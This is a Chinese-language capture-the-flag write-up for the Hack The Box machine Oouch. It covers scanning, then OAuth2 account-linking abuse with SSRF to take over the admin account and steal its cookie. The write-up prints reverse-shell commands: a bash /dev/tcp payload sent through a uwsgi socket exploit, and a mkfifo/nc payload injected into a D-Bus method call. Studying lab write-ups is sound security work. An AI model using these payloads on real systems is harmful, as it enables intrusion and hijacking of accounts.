Oouch靶机的难度相比最近做完的两个hard machine Quick跟Forwardslash而言有过之而无不及。甚至于感觉可能接近到Insane难度了。从web界面下手时遇到很多不稳定的问题,而之后从user提权到root更是出现玄学问题,一模一样的的payload头一天失败第二天就成了。但是总归学到了不少新知识,所以赶紧总结下。
由于Oouch还是active状态,所以我会给文章上锁直到靶机退役。
ps:已退役
- 靶机ip: 10.10.10.186
- 攻击机: 10.10.14.40
initial foothold to user
- nmap
# Nmap 7.80 scan initiated Sun Jun 28 15:53:13 2020 as: nmap -sC -sV -oA nmap/oouch 10.10.10.177
WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 10.10.10.177
Host is up (0.43s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.46
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 30000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://10.10.10.177:5000/login?next=%2F
8000/tcp open rtsp
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| Bad Request (400)
| RTSPRequest:
| RTSP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| Bad Request (400)
| SIPOptions:
| SIP/2.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
|_ Bad Request (400)
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=6/28%Time=5EF84CE8%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/html\r\nVary:\x20Authorization\r\n\r\nBad\x20Request\x20\(400\)
SF:h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\nBad\x20Req
SF:uest\x20\(400\)
")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\nBad\x20Request\x20\(400\)
")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization
SF:\r\n\r\nBad\x20Request\x20\(400\)
")%r(SIPOptions,63,"SIP/2\.0\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth
SF:orization\r\n\r\nBad\x20Request\x20\(400\)
");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 28 15:55:59 2020 -- 1 IP address (1 host up) scanned in 166.01 seconds
21,22,5000,8000 端口开放。并且21端口ftp可以匿名登录。
- ftp annoymous login
ftp匿名登录捞下来一个project.txt
get file project.txt
Flask -> Consumer
Django -> Authorization Server
按照nmap的结果,5000跟8000有两个web服务,看起来似乎是flask跟django.
- enumeration
此时从5000端口的服务入手。首先注册登录后发现提供了几个比较没用的功能,其中/document
路由的内容提示只有admin能用。/profile
显示我们可以链接账户,但是不知道要怎么做。/contact
处似乎可以让admin接受我们的url然后造成ssrf.但是这些都还没有可具体下手的地方。
而8000端口的服务直接访问返回400.似乎到这一步就卡住了。
于是尝试爆破路由,有了意外的收获。
wfuzz -c -w /usr/share/wordlists/dirb/common.txt -u 'http://10.10.10.177:5000/FUZZ' --hc 404 -t 70
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.177:5000/FUZZ
Total requests: 4614
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000223: 302 3 L 24 W 247 Ch "about"
000000001: 302 3 L 24 W 237 Ch ""
000001013: 302 3 L 24 W 251 Ch "contact"
000001325: 302 3 L 24 W 255 Ch "documents"
000001908: 302 3 L 24 W 245 Ch "home"
000002347: 200 54 L 110 W 1828 Ch "login"
000002362: 302 3 L 24 W 219 Ch "logout"
000002722: 302 3 L 24 W 247 Ch "oauth"
000003160: 302 3 L 24 W 251 Ch "profile"
000003341: 200 63 L 124 W 2109 Ch "register"
除了之前几个功能外还有oauth
。(这里是换了个平时不用的dirb词典爆出来的,虽然内容少但有时恰好就能得到想要的信息)
访问oauth
得到了5000端口与8000端口的具体域名。于是加到/etc/hosts
中。
再接着尝试了两个链接后,我发现大概实现了一个authorize的过程。加上oauth的这个名词,我决定先去google一下,于是大致能够理解,这是一个实现了oauth2
功能的场景。
oauth的流程是这样的
1.The application requests authorization to access service resources from the user. The application needs to provide the client ID, client secret, redirect URI and the required scopes.
2.If the user authorizes the request, the application receives an authorization grant
3.The application ** requests an access token from the authorization server ** by presenting authentication of its own identity, and the authorization grant
4.If the application identity is authenticated and the authorization grant is valid, the authorization server issues the access and refresh (if required) token to the application. Authorization is complete.
5.The application requests the resource from the resource server and presents the access token for authentication
6.If the access token is valid, the resource server serves the resource to the application
按照阮一峰老师的理解,就是在客户端与服务商之间加上了一个授权层,这里具体而言,就是我们在授权后,可以让8000端口的账号跟5000的账号绑定在一起。每次进行操作时都会有这样的中间页面
根据consumer
里oauth
的要求。我们应该先去oauth/connect
,然后当我们在authorization
里注册完账号后,访问oauth/login
就完成了账号的关联。
而这里就产生了一个提升权限的可能。oauth的特点在于,我们访问oauth/login
进行账号关联时,中间层是根据我们之前connect时传输的token进行目标判定的(具体抓包了解)。那么如果我们以admin的身份传一个有效token,之后连接账号时就会把我们在authorization
的账号与consumer
处admin的账号相关联。
这是每一次进行connect时,我们客户端会向发的一个含有token的包
这时之前提到的/contact
就派上用场了。我们burp抓包并把这个传输token
的包drop掉。转而利用admin的contact完成这次token发送。接下来再次点击oauth/login
,就能触发连接,绑定admin账户。
现在我们已经绑定qtc账户了。并且在document处发现提示
- 一个账号。功能是application register
- 一个路由 /api/get_user 另外/oauth/authorize 支持get请求
- 似乎可以有途径可以得到sshkey
看来接下来要转战8000端口的authorization.oouch.htb
了。
首先作为普通用户,8000端口默认的两个路由都没有办法使用。那么现在先想办法用上我们之前得到的用户密码。
接着爆破
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://authorization.oouch.htb:8000/FUZZ --hc 404 -t 80
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://authorization.oouch.htb:8000/oauth/FUZZ --hc 404 -t 80
第一个无果。第二个发现存在/application
也就是可以访问/oauth/application
然而需要用户密码。我们之前的账户密码也不行。这时仔细过一遍document.发现说这个账户密码是有注册功能的,那就试试/oauth/application/register
并输入账户密码
成功了,接下来我们就有了另一个有效的authorization app了。
我设置的信息如下
http://authorization.oouch.htb:8000/oauth/applications/2/
clientid cHYVFErrrGQAm6Q1iWEfgT0hgf2KX4SIecLnNCKg
clientsecret 1QWQrnwCzUIiU8tB4BywB3p9Ca8umJGaSzoxJraanOwv7duBX3UnZN4n1VYMzLOrnrXh7OzLNhHF7qPv1UufuY8fIkNLDoPDSaUC2JGqKVeKb9oJZJweVHeFCgku6kqz
Client type public
Authorization Grant Type client-credentials
redirect uri http://10.10.14.46/
根据之前的ssrf,我们似乎有办法能够通过最后的一个uri完成xss的攻击。也就是打到admin的cookie。那么如何合法的构造一个url使得直接get访问就能重定向呢?这里就涉及到一些oauth的知识
oauth-authorize
#facebook
GET https://api.instagram.com/oauth/authorize
?client_id={app-id},
&redirect_uri={redirect-uri},
&response_type=code,
&scope={scope}
#twitter
POST /oauth2/token HTTP/1.1
Host: api.twitter.com
User-Agent: My Twitter App v1.0.23
Authorization: Basic eHZ6MWV2R ... o4OERSZHlPZw==
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 29
Accept-Encoding: gzip
grant_type=client_credentials
上面两个分别是facebook跟twitter的oauthapi的开发者文档里找的例子。虽然各家都有不同,但是大概的那几个参数也是能理解的。加上之前document里说oauth/authorize
支持get请求,那么我们应该可以按照自己的app功能,构造一个恶意的url,重定向到我们自己这。
先像self-xss一样往自己这打一发
url的各个参数都要与之前注册的app的值完全一致。其中response_type为code是oauth标准固定的。
http://authorization.oouch.htb:8000/oauth/authorize/?client_id=cHYVFErrrGQAm6Q1iWEfgT0hgf2KX4SIecLnNCKg&redirect_uri=http://10.10.14.46/&response_type=code&grant_type=anthorization_code&client_secret=1QWQrnwCzUIiU8tB4BywB3p9Ca8umJGaSzoxJraanOwv7duBX3UnZN4n1VYMzLOrnrXh7OzLNhHF7qPv1UufuY8fIkNLDoPDSaUC2JGqKVeKb9oJZJweVHeFCgku6kqz
直接浏览器访问这个url,会进入到authorize的中间层。点下authorize就能在本机收到请求
那么直接利用之前的contact
处ssrf即可完成cookie的盗取。
这里比较狗的是必须去掉response_type
这个请求参数,才能完成重定向。原理其实上面解释过了,因为一个有效的请求必须经过手动的authorization确认才能完成重定向。如果是一个不有效的url则会在授权之前就重定向。基于此处只能发一个请求。我们只能通过一个无效response_type完成重定向。
得到cookie后更换。接下来尝试访问oauth/token
https://www.oauth.com/oauth2-servers/access-tokens/client-credentials/
上面是oauth官方文档的,通过oauth/token获取一个access_token内容。我们参照格式发包即可(注意这里grant_type的值与我们初始的app不一样。所以要用之前的账户更改这一选项)
接下来用得到的access_token 访问唯一没用上的/api/get_user?access_token=xxxx.
发现返回user的json信息。然后就卡住了。。。。。。这时想起来前面还提示说有获取sshkey的方法。于是把user换成ssh
拿到key后终于可以登陆这台靶机拿到user.txt了。
小结下。第一部分恐怕难度比常规的htbweb部分要难的多。因为涉及了大量新知识以及权限问题,同时网站不知道为什么经常500。不过oauth的存在也让我重新体会到了越权的许多新可能。最后的ssh总觉得有点脑洞了。
privesc to root
ssh登录后先看到目录下有个提示.note.txt
Implementing an IPS using DBus and iptables == Genius?
Dbus似乎是突破口。但是我的了解仅限于知道Dbus是工控里经常出现的协议。
然后linpeas.sh扫一遍。发现没有什么有意思的文件。因为两个python服务都是用docker跑的。
同时www-data跑着uwsgi.
这里首先问题是我们作为非root用户如何进入docker。不然有效信息实在太少了。试了很久发现可以直接用ssh登录进docker???
当然。只有Flask的docker是可以用ssh登录的。登录进去后先看文件源码。在其中一个找到
里面提到了Dbus的interface也就是接口。名称叫做htb.oouch.Blcok
。并且后面调用了Block方法。
另一边在oouch本机上找dbus相关配置。在/etc/dbus-1/system.d
发现config文件
也就是说,root确实是可以利用dbus进行通信的。但只有www-data可以进行收发消息通信。那么下面的要务是获取www-data的权限。
这里其实并不难。因为我们之前已经发现过,www-data是跑着uwsgi的。而python的uwsgi可以触发RCE似乎在几年前的RWCTF中就出现过。(这是看CTF is awesome 中听到youtuber提到的)
所以主要就麻烦在把exp传过去。这里使用scp比较方便。因为docker容器里啥都没有.
检查下socket文件位置,于是在docker的web源码处找到uwsgi.ini文件
qtc@aeb4525789d8:/code$ cat uwsgi.ini
[uwsgi]
module = oouch:app
uid = www-data
gid = www-data
master = true
processes = 10
socket = /tmp/uwsgi.socket
chmod-sock = 777
vacuum = true
die-on-term = true
https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
uwsgi的脚本传好
运行脚本,接下来qtc处nc接受即可
python rce.py -m unix -u /tmp/uwsgi.socket -c "bash -c 'bash -i >& /dev/tcp/172.18.0.1/9001 0>&1'"
这里似乎脚本有个小问题,不过把报错的位置改下就好。
然后本来应该很快解决的www-data跟root通信问题困扰了我好久。首先传一个nc到docker里面监听,然后用刚刚docker的www-data的shell传下面这个payload
dbus-send --system --print-reply --dest=htb.oouch.Block htb/oouch/Block htb.oouch.Block.Block "string:; rm /tmp/f ; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 172.18.0.3 6666 >/tmp/f;"
按理说应该成的,结果卡了好久。为此特意上网找wp结果发现是几乎一样的payload。加上我又不懂dbus,所以就只好搁置了。结果第二天再试了下就成了......不知道是不是因为我传了个oouch自己的nc到docker里面的缘故。总之太麻烦了,所以不想再复现了。
summary
这台靶机主要价值在于前面get user部分非常贴近实战。我觉得是有很高学习价值的。关于oauth的知识之后最好去了解下,对授权这块本应该属于重点的安全问题能有新的认识。